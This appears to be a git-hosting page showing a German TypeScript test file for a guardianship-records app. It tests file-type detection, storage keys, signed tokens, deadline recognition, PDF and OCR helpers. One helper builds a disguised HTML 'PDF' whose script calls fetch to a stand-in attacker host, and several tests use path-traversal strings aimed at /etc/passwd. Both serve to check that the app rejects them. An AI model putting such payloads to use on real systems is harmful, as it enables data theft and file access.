Ausschliesslich Zeilenenden. Nachgewiesen mit "git diff --cached --ignore-cr-at-eol": Der Diff ist leer, es hat sich kein Zeichen Inhalt geaendert. Deshalb ein eigener Commit: 7448 geaenderte Zeilen in einem Commit mit echten Aenderungen zu verstecken, macht die Historie an dieser Stelle unlesbar. So laesst er sich beim Durchsehen ueberspringen. Refs #26
608 lines
24 KiB
TypeScript
608 lines
24 KiB
TypeScript
import { describe, expect, it } from 'vitest'
|
||
import { createElement } from 'react'
|
||
import {
|
||
endungPasst,
|
||
inhaltBeschreiben,
|
||
typErkennen,
|
||
} from '@/lib/speicher/dateityp'
|
||
import {
|
||
betreuteIdAusSchluessel,
|
||
schluesselErzeugen,
|
||
schluesselGueltig,
|
||
UngueltigerSchluessel,
|
||
zugriffTokenErzeugen,
|
||
zugriffTokenPruefen,
|
||
} from '@/lib/speicher/schluessel'
|
||
import {
|
||
aktenzeichenErkennen,
|
||
alleAktenzeichen,
|
||
absenderErkennen,
|
||
datenFinden,
|
||
dokumentartErkennen,
|
||
erkennungsvorschlaege,
|
||
fristenErkennen,
|
||
schreibdatumErkennen,
|
||
} from '@/lib/dokumente/erkennung'
|
||
import { suchanfrageAufbereiten } from '@/lib/dokumente/suchbegriff'
|
||
import {
|
||
bildAlsPdf,
|
||
paginieren,
|
||
pdfErzeugen,
|
||
pdfsZusammenfuehren,
|
||
seitenzahl,
|
||
} from '@/lib/pdf/erzeugen'
|
||
import { Berichtsdokument } from '@/lib/pdf/rahmen'
|
||
import { standardschriftAufloesen } from '@/lib/pdf/standardschrift'
|
||
import { ocrLesen } from '@/lib/ocr'
|
||
import { pdfSeitenzahlSchaetzen, pdfTextLesen, textAufraeumen } from '@/lib/ocr/pdf-text'
|
||
|
||
/**
|
||
* Diese Tests beschreiben, was fachlich gelten soll - nicht, welche
|
||
* Funktion aufgerufen wird. Sie brauchen weder Datenbank noch Netz.
|
||
*/
|
||
|
||
// -----------------------------------------------------------------------------
|
||
// Hilfen: kleine, gueltige Dateien im Speicher bauen
|
||
// -----------------------------------------------------------------------------
|
||
|
||
function pdfDatei(): Buffer {
|
||
return Buffer.concat([
|
||
Buffer.from('%PDF-1.7\n1 0 obj\n<< /Type /Catalog >>\nendobj\n', 'latin1'),
|
||
Buffer.from('trailer\n<< /Root 1 0 R >>\n%%EOF\n', 'latin1'),
|
||
])
|
||
}
|
||
|
||
function jpegDatei(): Buffer {
|
||
return Buffer.concat([Buffer.from([0xff, 0xd8, 0xff, 0xe0]), Buffer.alloc(64, 0x11)])
|
||
}
|
||
|
||
function pngDatei(): Buffer {
|
||
return Buffer.concat([
|
||
Buffer.from([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]),
|
||
Buffer.alloc(64, 0x22),
|
||
])
|
||
}
|
||
|
||
function webpDatei(): Buffer {
|
||
const kopf = Buffer.alloc(16)
|
||
kopf.write('RIFF', 0, 'ascii')
|
||
kopf.writeUInt32LE(64, 4)
|
||
kopf.write('WEBPVP8 ', 8, 'ascii')
|
||
return Buffer.concat([kopf, Buffer.alloc(48, 0x33)])
|
||
}
|
||
|
||
function tiffDatei(): Buffer {
|
||
return Buffer.concat([Buffer.from([0x49, 0x49, 0x2a, 0x00]), Buffer.alloc(64, 0x44)])
|
||
}
|
||
|
||
function heicDatei(): Buffer {
|
||
const kopf = Buffer.alloc(24)
|
||
kopf.writeUInt32BE(24, 0)
|
||
kopf.write('ftypheic', 4, 'ascii')
|
||
kopf.write('mif1heic', 12, 'ascii')
|
||
return Buffer.concat([kopf, Buffer.alloc(48, 0x55)])
|
||
}
|
||
|
||
/** Eine HTML-Seite, die sich als PDF ausgibt. */
|
||
function getarnteHtmlDatei(): Buffer {
|
||
return Buffer.from(
|
||
'<!DOCTYPE html>\n<html><head><title>rechnung.pdf</title></head>' +
|
||
'<body><script>fetch("https://boese.example/klau")</script></body></html>',
|
||
'utf8',
|
||
)
|
||
}
|
||
|
||
// -----------------------------------------------------------------------------
|
||
// Dateityp
|
||
// -----------------------------------------------------------------------------
|
||
|
||
describe('Der Dateityp wird am Inhalt entschieden, nicht am Namen', () => {
|
||
it('erkennt die sechs erlaubten Formate', () => {
|
||
expect(typErkennen(pdfDatei())?.mimeTyp).toBe('application/pdf')
|
||
expect(typErkennen(jpegDatei())?.mimeTyp).toBe('image/jpeg')
|
||
expect(typErkennen(pngDatei())?.mimeTyp).toBe('image/png')
|
||
expect(typErkennen(webpDatei())?.mimeTyp).toBe('image/webp')
|
||
expect(typErkennen(tiffDatei())?.mimeTyp).toBe('image/tiff')
|
||
expect(typErkennen(heicDatei())?.mimeTyp).toBe('image/heic')
|
||
})
|
||
|
||
it('lehnt eine HTML-Seite ab, die sich als PDF ausgibt', () => {
|
||
const getarnt = getarnteHtmlDatei()
|
||
expect(typErkennen(getarnt)).toBeNull()
|
||
expect(inhaltBeschreiben(getarnt)).toBe('eine HTML-Seite')
|
||
})
|
||
|
||
it('lehnt ein PDF ab, dem Fremdinhalt vorangestellt wurde', () => {
|
||
// Der klassische Polyglot: erst HTML, dann irgendwo %PDF.
|
||
const polyglot = Buffer.concat([Buffer.from('<html><body>x</body></html>\n'), pdfDatei()])
|
||
expect(typErkennen(polyglot)).toBeNull()
|
||
})
|
||
|
||
it('lehnt Office-Dateien, Archive und Programme ab', () => {
|
||
const zip = Buffer.concat([Buffer.from([0x50, 0x4b, 0x03, 0x04]), Buffer.alloc(32)])
|
||
const exe = Buffer.concat([Buffer.from([0x4d, 0x5a]), Buffer.alloc(32)])
|
||
expect(typErkennen(zip)).toBeNull()
|
||
expect(typErkennen(exe)).toBeNull()
|
||
expect(inhaltBeschreiben(zip)).toContain('ZIP')
|
||
})
|
||
|
||
it('lehnt zu kurze und leere Dateien ab', () => {
|
||
expect(typErkennen(Buffer.alloc(0))).toBeNull()
|
||
expect(typErkennen(Buffer.from('%PDF'))).toBeNull()
|
||
expect(inhaltBeschreiben(Buffer.alloc(0))).toBe('eine leere Datei')
|
||
})
|
||
|
||
it('merkt, wenn die Endung nicht zum Inhalt passt', () => {
|
||
const jpeg = typErkennen(jpegDatei())!
|
||
expect(endungPasst('foto.jpeg', jpeg)).toBe(true)
|
||
expect(endungPasst('foto.jpg', jpeg)).toBe(true)
|
||
expect(endungPasst('rechnung.pdf', jpeg)).toBe(false)
|
||
})
|
||
})
|
||
|
||
// -----------------------------------------------------------------------------
|
||
// Ablageschluessel
|
||
// -----------------------------------------------------------------------------
|
||
|
||
describe('Der Ablageschlüssel wird erzeugt und lässt sich nicht ausbrechen', () => {
|
||
it('setzt die betreuteId an die zweite Stelle', () => {
|
||
const schluessel = schluesselErzeugen('clx123abc', 'dokumente', 'pdf')
|
||
expect(schluessel).toMatch(/^betreute\/clx123abc\/dokumente\/[0-9a-f-]{36}\.pdf$/)
|
||
expect(betreuteIdAusSchluessel(schluessel)).toBe('clx123abc')
|
||
})
|
||
|
||
it('erzeugt für dieselbe Datei nie zweimal denselben Schlüssel', () => {
|
||
const a = schluesselErzeugen('clx123abc', 'dokumente', 'pdf')
|
||
const b = schluesselErzeugen('clx123abc', 'dokumente', 'pdf')
|
||
expect(a).not.toBe(b)
|
||
})
|
||
|
||
it('weist eine Kennung mit Pfadanteilen zurück', () => {
|
||
expect(() => schluesselErzeugen('../../etc', 'dokumente', 'pdf')).toThrow(UngueltigerSchluessel)
|
||
expect(() => schluesselErzeugen('a/b', 'dokumente', 'pdf')).toThrow(UngueltigerSchluessel)
|
||
expect(() => schluesselErzeugen('a.b', 'dokumente', 'pdf')).toThrow(UngueltigerSchluessel)
|
||
})
|
||
|
||
it('erkennt von Hand gebastelte Schlüssel als ungültig', () => {
|
||
expect(schluesselGueltig('betreute/clx1/dokumente/../../../etc/passwd')).toBe(false)
|
||
expect(schluesselGueltig('betreute/clx1/dokumente/datei.pdf')).toBe(false)
|
||
expect(schluesselGueltig('betreute/clx1/geheim/00000000-0000-0000-0000-000000000000.pdf')).toBe(
|
||
false,
|
||
)
|
||
expect(schluesselGueltig('/etc/passwd')).toBe(false)
|
||
expect(schluesselGueltig('betreute\\clx1\\dokumente\\x.pdf')).toBe(false)
|
||
expect(schluesselGueltig(null)).toBe(false)
|
||
})
|
||
|
||
it('nimmt den Dateinamen des Nutzers nicht in den Pfad auf', () => {
|
||
const schluessel = schluesselErzeugen('clx123abc', 'dokumente', 'pdf')
|
||
expect(schluessel).not.toContain('rechnung')
|
||
expect(schluessel.split('/')).toHaveLength(4)
|
||
})
|
||
})
|
||
|
||
// -----------------------------------------------------------------------------
|
||
// Signierte Links
|
||
// -----------------------------------------------------------------------------
|
||
|
||
describe('Signierte Dateilinks laufen ab und lassen sich nicht fälschen', () => {
|
||
const schluessel = schluesselErzeugen('clx123abc', 'dokumente', 'pdf')
|
||
const jetzt = new Date('2026-03-12T10:00:00.000Z')
|
||
|
||
it('erkennt ein frisches Token an', () => {
|
||
const token = zugriffTokenErzeugen(schluessel, 300, jetzt)
|
||
const geprueft = zugriffTokenPruefen(token, jetzt)
|
||
expect(geprueft.gueltig).toBe(true)
|
||
if (geprueft.gueltig) expect(geprueft.schluessel).toBe(schluessel)
|
||
})
|
||
|
||
it('weist ein abgelaufenes Token zurück', () => {
|
||
const token = zugriffTokenErzeugen(schluessel, 300, jetzt)
|
||
const spaeter = new Date(jetzt.getTime() + 301_000)
|
||
const geprueft = zugriffTokenPruefen(token, spaeter)
|
||
expect(geprueft.gueltig).toBe(false)
|
||
if (!geprueft.gueltig) expect(geprueft.grund).toBe('abgelaufen')
|
||
})
|
||
|
||
it('weist ein Token mit verlängertem Ablauf zurück', () => {
|
||
const token = zugriffTokenErzeugen(schluessel, 60, jetzt)
|
||
const [kodiert, ablauf, signatur] = token.split('.')
|
||
const verlaengert = `${kodiert}.${Number(ablauf) + 86_400}.${signatur}`
|
||
const geprueft = zugriffTokenPruefen(verlaengert, jetzt)
|
||
expect(geprueft.gueltig).toBe(false)
|
||
if (!geprueft.gueltig) expect(geprueft.grund).toBe('signatur')
|
||
})
|
||
|
||
it('weist ein Token zurück, in das ein fremder Schlüssel geschoben wurde', () => {
|
||
const token = zugriffTokenErzeugen(schluessel, 300, jetzt)
|
||
const fremd = schluesselErzeugen('clyFREMD99', 'dokumente', 'pdf')
|
||
const [, ablauf, signatur] = token.split('.')
|
||
const gebastelt = `${Buffer.from(fremd, 'utf8').toString('base64url')}.${ablauf}.${signatur}`
|
||
const geprueft = zugriffTokenPruefen(gebastelt, jetzt)
|
||
expect(geprueft.gueltig).toBe(false)
|
||
if (!geprueft.gueltig) expect(geprueft.grund).toBe('signatur')
|
||
})
|
||
|
||
it('weist Unsinn und leere Werte zurück', () => {
|
||
for (const wert of ['', 'abc', 'a.b.c', null, undefined, 12]) {
|
||
expect(zugriffTokenPruefen(wert as unknown, jetzt).gueltig).toBe(false)
|
||
}
|
||
})
|
||
})
|
||
|
||
// -----------------------------------------------------------------------------
|
||
// Datum und Aktenzeichen
|
||
// -----------------------------------------------------------------------------
|
||
|
||
describe('Datumsangaben im Schreiben werden gelesen', () => {
|
||
it('versteht 12.03.2026, 12. März 2026 und 2026-03-12', () => {
|
||
expect(datenFinden('Bayreuth, 12.03.2026')[0]?.datum.toISOString()).toBe(
|
||
'2026-03-12T00:00:00.000Z',
|
||
)
|
||
expect(datenFinden('Bayreuth, 12. März 2026')[0]?.datum.toISOString()).toBe(
|
||
'2026-03-12T00:00:00.000Z',
|
||
)
|
||
expect(datenFinden('Stand 2026-03-12')[0]?.datum.toISOString()).toBe(
|
||
'2026-03-12T00:00:00.000Z',
|
||
)
|
||
})
|
||
|
||
it('ergänzt zweistellige Jahre sinnvoll', () => {
|
||
expect(datenFinden('am 12.03.26')[0]?.datum.getUTCFullYear()).toBe(2026)
|
||
expect(datenFinden('am 12.03.99')[0]?.datum.getUTCFullYear()).toBe(1999)
|
||
})
|
||
|
||
it('erfindet keinen 31. Februar', () => {
|
||
expect(datenFinden('am 31.02.2026')).toHaveLength(0)
|
||
expect(datenFinden('am 45.13.2026')).toHaveLength(0)
|
||
})
|
||
|
||
it('nimmt das ausdrücklich benannte Datum des Schreibens', () => {
|
||
const text = [
|
||
'Bezirk Oberfranken',
|
||
'Sozialverwaltung',
|
||
'',
|
||
'Bayreuth, 05.03.2026',
|
||
'Ihr Schreiben vom 12.03.2026',
|
||
].join('\n')
|
||
const vorschlag = schreibdatumErkennen(text, new Date('2026-06-01T00:00:00.000Z'))
|
||
expect(vorschlag?.wert.toISOString()).toBe('2026-03-12T00:00:00.000Z')
|
||
expect(vorschlag?.sicherheit).toBe('hoch')
|
||
})
|
||
|
||
it('übernimmt kein Datum aus der Zukunft als Briefdatum', () => {
|
||
const text = 'Zahlbar bis zum 30.12.2030'
|
||
expect(schreibdatumErkennen(text, new Date('2026-03-12T00:00:00.000Z'))).toBeNull()
|
||
})
|
||
})
|
||
|
||
describe('Aktenzeichen und Nummern werden erkannt', () => {
|
||
it('liest das Aktenzeichen des Betreuungsgerichts', () => {
|
||
const vorschlag = aktenzeichenErkennen('Amtsgericht Bayreuth\nXVII 123/25\n\nBeschluss')
|
||
expect(vorschlag?.wert).toBe('XVII 123/25')
|
||
})
|
||
|
||
it('liest ein beschriftetes Aktenzeichen', () => {
|
||
expect(aktenzeichenErkennen('Az.: 4711/26\nBetreff: Hilfe zur Pflege')?.wert).toBe('4711/26')
|
||
expect(aktenzeichenErkennen('Aktenzeichen: SG 12 SO 45/26\n')?.wert).toBe('SG 12 SO 45/26')
|
||
})
|
||
|
||
it('liest Kunden- und Versicherungsnummern', () => {
|
||
expect(aktenzeichenErkennen('Kd.-Nr. 998877\nRechnung')?.wert).toBe('998877')
|
||
expect(aktenzeichenErkennen('Versicherungsschein-Nr. LV-4711/2\n')?.wert).toBe('LV-4711/2')
|
||
})
|
||
|
||
it('hält eine reine Jahreszahl nicht für ein Aktenzeichen', () => {
|
||
expect(aktenzeichenErkennen('Zeitraum 01/2025 bis 12/2025')).toBeNull()
|
||
})
|
||
|
||
it('sammelt mehrere Nummern für die Anzeige', () => {
|
||
const text = 'Az.: 4711/26\nKundennummer: 998877\n'
|
||
expect(alleAktenzeichen(text)).toEqual(expect.arrayContaining(['4711/26', '998877']))
|
||
})
|
||
})
|
||
|
||
// -----------------------------------------------------------------------------
|
||
// Dokumentart und Absender
|
||
// -----------------------------------------------------------------------------
|
||
|
||
describe('Die Art des Schreibens wird vorgeschlagen', () => {
|
||
it('erkennt einen Widerspruchsbescheid als Bescheid', () => {
|
||
const text = 'Widerspruchsbescheid\n\nIhr Antrag auf Hilfe zur Pflege wird abgelehnt.'
|
||
expect(dokumentartErkennen(text)?.wert).toBe('BESCHEID')
|
||
})
|
||
|
||
it('unterscheidet Mahnung von Rechnung', () => {
|
||
expect(dokumentartErkennen('Mahnung\nOffener Rechnungsbetrag 120,00 EUR')?.wert).toBe('MAHNUNG')
|
||
expect(dokumentartErkennen('Rechnung\nRechnungsnummer 4711\nZahlbetrag')?.wert).toBe('RECHNUNG')
|
||
})
|
||
|
||
it('erkennt Beschluss, Grundbuchauszug und Kaufvertrag', () => {
|
||
expect(dokumentartErkennen('Beschluss\nIm Namen des Volkes')?.wert).toBe('BESCHLUSS')
|
||
expect(dokumentartErkennen('Grundbuchauszug\nGrundbuch von Bayreuth')?.wert).toBe(
|
||
'GRUNDBUCHAUSZUG',
|
||
)
|
||
expect(dokumentartErkennen('Kaufvertrag über das Grundstück')?.wert).toBe('VERTRAG')
|
||
})
|
||
|
||
it('gibt nichts vor, wenn nichts erkennbar ist', () => {
|
||
expect(dokumentartErkennen('lorem ipsum dolor')).toBeNull()
|
||
})
|
||
})
|
||
|
||
describe('Der Absender wird vorgeschlagen', () => {
|
||
const brief = [
|
||
'Bezirk Oberfranken',
|
||
'Sozialverwaltung',
|
||
'95440 Bayreuth',
|
||
'',
|
||
'Bayreuth, 12.03.2026',
|
||
'',
|
||
'Sehr geehrte Frau Wilde,',
|
||
].join('\n')
|
||
|
||
it('bevorzugt einen bereits bekannten Absender', () => {
|
||
const vorschlag = absenderErkennen(brief, ['Bezirk Oberfranken, Sozialverwaltung'])
|
||
expect(vorschlag?.wert).toBe('Bezirk Oberfranken, Sozialverwaltung')
|
||
expect(vorschlag?.sicherheit).toBe('hoch')
|
||
})
|
||
|
||
it('erkennt sonst die Behörde im Briefkopf', () => {
|
||
const vorschlag = absenderErkennen(brief, [])
|
||
expect(vorschlag?.wert).toBe('Bezirk Oberfranken')
|
||
expect(vorschlag?.sicherheit).toBe('mittel')
|
||
})
|
||
|
||
it('hält die Anrede nicht für den Absender', () => {
|
||
const vorschlag = absenderErkennen('Sehr geehrte Frau Wilde,\n\nwir teilen Ihnen mit …', [])
|
||
expect(vorschlag?.wert ?? '').not.toMatch(/Sehr geehrte/)
|
||
})
|
||
})
|
||
|
||
// -----------------------------------------------------------------------------
|
||
// Fristen
|
||
// -----------------------------------------------------------------------------
|
||
|
||
describe('Fristen im Text werden vorgeschlagen, nie angelegt', () => {
|
||
const zugang = new Date(Date.UTC(2026, 2, 12)) // 12.03.2026
|
||
|
||
it('rechnet "innerhalb von vier Wochen" ab dem Zugangsdatum', () => {
|
||
const text =
|
||
'Gegen diesen Bescheid können Sie innerhalb von vier Wochen nach Bekanntgabe ' +
|
||
'Widerspruch einlegen.'
|
||
const [frist] = fristenErkennen(text, zugang)
|
||
|
||
expect(frist).toBeDefined()
|
||
expect(frist!.datum?.toISOString()).toBe('2026-04-09T00:00:00.000Z')
|
||
expect(frist!.basis?.toISOString()).toBe('2026-03-12T00:00:00.000Z')
|
||
expect(frist!.rechtsbehelf).toBe(true)
|
||
expect(frist!.textstelle).toContain('vier Wochen')
|
||
})
|
||
|
||
it('versteht "binnen eines Monats" und "einen Monat nach Bekanntgabe"', () => {
|
||
const a = fristenErkennen('Widerspruch binnen eines Monats.', zugang)[0]
|
||
expect(a?.datum?.toISOString()).toBe('2026-04-12T00:00:00.000Z')
|
||
|
||
const b = fristenErkennen('Der Widerspruch ist einen Monat nach Bekanntgabe zu erheben.', zugang)[0]
|
||
expect(b?.datum?.toISOString()).toBe('2026-04-12T00:00:00.000Z')
|
||
})
|
||
|
||
it('übernimmt ein ausdrücklich genanntes Datum', () => {
|
||
const [frist] = fristenErkennen('Wir bitten um Zahlung bis zum 30.04.2026.', zugang)
|
||
expect(frist?.datum?.toISOString()).toBe('2026-04-30T00:00:00.000Z')
|
||
expect(frist?.sicherheit).toBe('hoch')
|
||
})
|
||
|
||
it('hält einen Zeitraum nicht für eine Frist', () => {
|
||
expect(fristenErkennen('Abrechnung vom 01.01.2025 bis 31.12.2025', zugang)).toHaveLength(0)
|
||
})
|
||
|
||
it('liefert ohne Zugangsdatum kein erfundenes Datum', () => {
|
||
const [frist] = fristenErkennen('Bitte antworten Sie innerhalb von 14 Tagen.', null)
|
||
expect(frist?.datum).toBeNull()
|
||
expect(frist?.begruendung).toContain('Eingangsdatum')
|
||
})
|
||
|
||
it('nennt bei jedem Vorschlag die Textstelle, auf die er sich stützt', () => {
|
||
const fristen = fristenErkennen('Zahlung binnen zwei Wochen erbeten.', zugang)
|
||
expect(fristen[0]?.textstelle.length).toBeGreaterThan(0)
|
||
expect(fristen[0]?.begruendung).toContain('2 Wochen')
|
||
})
|
||
})
|
||
|
||
// -----------------------------------------------------------------------------
|
||
// Alles zusammen
|
||
// -----------------------------------------------------------------------------
|
||
|
||
describe('Ein abfotografierter Bescheid liefert einen brauchbaren Vorschlag', () => {
|
||
const bescheid = [
|
||
'Bezirk Oberfranken',
|
||
'Sozialverwaltung',
|
||
'95440 Bayreuth',
|
||
'',
|
||
'Bayreuth, 05.03.2026',
|
||
'Aktenzeichen: 4711/26',
|
||
'',
|
||
'Betreff: Hilfe zur Pflege nach dem SGB XII',
|
||
'',
|
||
'Widerspruchsbescheid',
|
||
'',
|
||
'Sehr geehrte Frau Wilde,',
|
||
'Ihr Widerspruch wird zurückgewiesen. Gegen diesen Bescheid können Sie innerhalb',
|
||
'von vier Wochen nach Bekanntgabe Klage erheben.',
|
||
].join('\n')
|
||
|
||
it('schlägt Absender, Datum, Aktenzeichen, Art und Frist vor', () => {
|
||
const ergebnis = erkennungsvorschlaege(bescheid, {
|
||
bekannteAbsender: ['Bezirk Oberfranken, Sozialverwaltung'],
|
||
zugangAm: new Date(Date.UTC(2026, 2, 9)),
|
||
heute: new Date(Date.UTC(2026, 2, 20)),
|
||
})
|
||
|
||
expect(ergebnis.absender?.wert).toBe('Bezirk Oberfranken, Sozialverwaltung')
|
||
expect(ergebnis.schreibenVom?.wert.toISOString()).toBe('2026-03-05T00:00:00.000Z')
|
||
expect(ergebnis.aktenzeichen?.wert).toBe('4711/26')
|
||
expect(ergebnis.art?.wert).toBe('BESCHEID')
|
||
expect(ergebnis.titel).toBe('Hilfe zur Pflege nach dem SGB XII')
|
||
expect(ergebnis.fristen[0]?.datum?.toISOString()).toBe('2026-04-06T00:00:00.000Z')
|
||
expect(ergebnis.fristen[0]?.rechtsbehelf).toBe(true)
|
||
})
|
||
|
||
it('liefert bei leerem Text keine erfundenen Werte', () => {
|
||
const leer = erkennungsvorschlaege('', {})
|
||
expect(leer.absender).toBeNull()
|
||
expect(leer.art).toBeNull()
|
||
expect(leer.fristen).toEqual([])
|
||
})
|
||
})
|
||
|
||
// -----------------------------------------------------------------------------
|
||
// Suchanfrage
|
||
// -----------------------------------------------------------------------------
|
||
|
||
describe('Die Suchanfrage wird für websearch_to_tsquery aufbereitet', () => {
|
||
it('lässt die gewohnte Suchmaschinen-Schreibweise stehen', () => {
|
||
expect(suchanfrageAufbereiten('"Hilfe zur Pflege" -Mahnung')).toBe('"Hilfe zur Pflege" -Mahnung')
|
||
})
|
||
|
||
it('räumt Leerraum und Steuerzeichen weg', () => {
|
||
expect(suchanfrageAufbereiten(' Bescheid \n Bezirk \t')).toBe('Bescheid Bezirk')
|
||
})
|
||
|
||
it('entfernt ein einzelnes offenes Anführungszeichen', () => {
|
||
expect(suchanfrageAufbereiten('"Hilfe zur Pflege')).toBe('Hilfe zur Pflege')
|
||
})
|
||
|
||
it('gibt nichts zurück, wenn nichts Suchbares übrig bleibt', () => {
|
||
expect(suchanfrageAufbereiten('')).toBeNull()
|
||
expect(suchanfrageAufbereiten(' ')).toBeNull()
|
||
expect(suchanfrageAufbereiten('a')).toBeNull()
|
||
expect(suchanfrageAufbereiten(null)).toBeNull()
|
||
})
|
||
|
||
it('begrenzt die Länge, damit niemand die Datenbank beschäftigt', () => {
|
||
expect(suchanfrageAufbereiten('x'.repeat(5000))!.length).toBe(200)
|
||
})
|
||
})
|
||
|
||
// -----------------------------------------------------------------------------
|
||
// PDF-Werkzeuge
|
||
// -----------------------------------------------------------------------------
|
||
|
||
/** Ein gueltiges 1x1-PNG - genug, um den Bildweg zu pruefen. */
|
||
const EIN_PIXEL_PNG = Buffer.from(
|
||
'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg==',
|
||
'base64',
|
||
)
|
||
|
||
describe('Die eingebauten Schriften werden aufgelöst', () => {
|
||
it('macht aus Familie plus Auszeichnung den konkreten Schriftnamen', () => {
|
||
expect(standardschriftAufloesen('Helvetica')).toBe('Helvetica')
|
||
expect(standardschriftAufloesen('Helvetica', 'bold')).toBe('Helvetica-Bold')
|
||
expect(standardschriftAufloesen('Helvetica', 700)).toBe('Helvetica-Bold')
|
||
expect(standardschriftAufloesen('Helvetica', 400, 'italic')).toBe('Helvetica-Oblique')
|
||
expect(standardschriftAufloesen('Times-Roman', 'bold', 'italic')).toBe('Times-BoldItalic')
|
||
})
|
||
|
||
it('lässt einen bereits konkreten Namen unverändert', () => {
|
||
expect(standardschriftAufloesen('Courier-Bold')).toBe('Courier-Bold')
|
||
})
|
||
|
||
it('gibt nichts zurück für Schriften, die nicht eingebaut sind', () => {
|
||
expect(standardschriftAufloesen('Arial')).toBeNull()
|
||
})
|
||
})
|
||
|
||
describe('Aus einem Bericht und einem Beleg wird eine Mappe', () => {
|
||
it('setzt einen Bericht mit Umlauten, ohne eine Schrift nachzuladen', async () => {
|
||
const bericht = await pdfErzeugen(
|
||
createElement(Berichtsdokument, {
|
||
kopf: {
|
||
titel: 'Vermögensübersicht',
|
||
betreute: { name: 'Erika Mustermann', geburtsdatum: new Date(Date.UTC(1940, 0, 1)) },
|
||
aktenzeichen: 'XVII 123/25',
|
||
erstelltAm: new Date(Date.UTC(2026, 2, 12)),
|
||
erstelltVon: 'Florian Wilde',
|
||
},
|
||
mitUnterschrift: true,
|
||
children: null,
|
||
}),
|
||
)
|
||
|
||
expect(bericht.subarray(0, 5).toString('latin1')).toBe('%PDF-')
|
||
expect(await seitenzahl(bericht)).toBe(1)
|
||
})
|
||
|
||
it('wandelt ein Foto in eine einzelne PDF-Seite', async () => {
|
||
const alsPdf = await bildAlsPdf(EIN_PIXEL_PNG, 'Beleg 1 · 12.03.2026')
|
||
expect(await seitenzahl(alsPdf)).toBe(1)
|
||
})
|
||
|
||
it('führt Bericht und Foto zu einer Mappe zusammen und nummeriert sie durch', async () => {
|
||
const deckblatt = await pdfErzeugen(
|
||
createElement(Berichtsdokument, {
|
||
kopf: {
|
||
titel: 'Belegmappe',
|
||
betreute: { name: 'Erika Mustermann', geburtsdatum: null },
|
||
erstelltAm: new Date(Date.UTC(2026, 2, 12)),
|
||
erstelltVon: 'Florian Wilde',
|
||
},
|
||
children: null,
|
||
}),
|
||
)
|
||
|
||
// Bilder dürfen direkt mitgegeben werden - sie werden unterwegs gewandelt.
|
||
const mappe = await pdfsZusammenfuehren([deckblatt, EIN_PIXEL_PNG])
|
||
expect(await seitenzahl(mappe)).toBe(2)
|
||
|
||
const paginiert = await paginieren(mappe, 'Belegmappe · Mustermann · Az. XVII 123/25')
|
||
expect(await seitenzahl(paginiert)).toBe(2)
|
||
expect(paginiert.subarray(0, 5).toString('latin1')).toBe('%PDF-')
|
||
})
|
||
})
|
||
|
||
// -----------------------------------------------------------------------------
|
||
// Texterkennung
|
||
// -----------------------------------------------------------------------------
|
||
|
||
describe('Die Texterkennung lässt einen Upload nie scheitern', () => {
|
||
it('wirft nicht, wenn Tesseract auf diesem Rechner fehlt', async () => {
|
||
// Auf dem Windows-Entwicklungsrechner ist Tesseract in der Regel nicht
|
||
// installiert. Dann muss ein Status zurückkommen, keine Ausnahme – das
|
||
// Dokument gehört auch ohne Volltext in die Akte.
|
||
const ergebnis = await ocrLesen(pdfDatei(), 'application/pdf')
|
||
|
||
expect(['fertig', 'fehlgeschlagen', 'nicht_verfuegbar']).toContain(ergebnis.status)
|
||
expect(typeof ergebnis.text).toBe('string')
|
||
}, 30_000)
|
||
|
||
it('wirft auch bei einer Datei nicht, aus der kein Text zu holen ist', async () => {
|
||
const ergebnis = await ocrLesen(getarnteHtmlDatei(), 'application/pdf')
|
||
|
||
expect(ergebnis.status).toBe('nicht_verfuegbar')
|
||
expect(ergebnis.text).toBe('')
|
||
}, 30_000)
|
||
})
|
||
|
||
describe('Eingebetteter PDF-Text wird gelesen, wenn nichts anderes geht', () => {
|
||
it('liefert eine leere Zeichenkette statt eines Fehlers, wenn nichts drinsteht', () => {
|
||
expect(pdfTextLesen(pdfDatei())).toBe('')
|
||
expect(pdfTextLesen(Buffer.alloc(0))).toBe('')
|
||
})
|
||
|
||
it('schätzt die Seitenzahl aus der PDF-Struktur', () => {
|
||
const mitZaehler = Buffer.from(
|
||
['%PDF-1.7', '1 0 obj', '/Type /Pages /Count 7 >>', ''].join('\n'),
|
||
'latin1',
|
||
)
|
||
expect(pdfSeitenzahlSchaetzen(mitZaehler)).toBe(7)
|
||
})
|
||
|
||
it('räumt zerrissenen OCR-Text auf, ohne die Zeilen zu verlieren', () => {
|
||
// Wagenrücklauf, Mehrfachleerzeichen und Tabulatoren, wie OCR sie liefert.
|
||
const roh = ['Bezirk Oberfranken', '', '', ' Sozialverwaltung \t'].join('\r\n')
|
||
|
||
expect(textAufraeumen(roh)).toBe(['Bezirk Oberfranken', '', 'Sozialverwaltung'].join('\n'))
|
||
})
|
||
})
|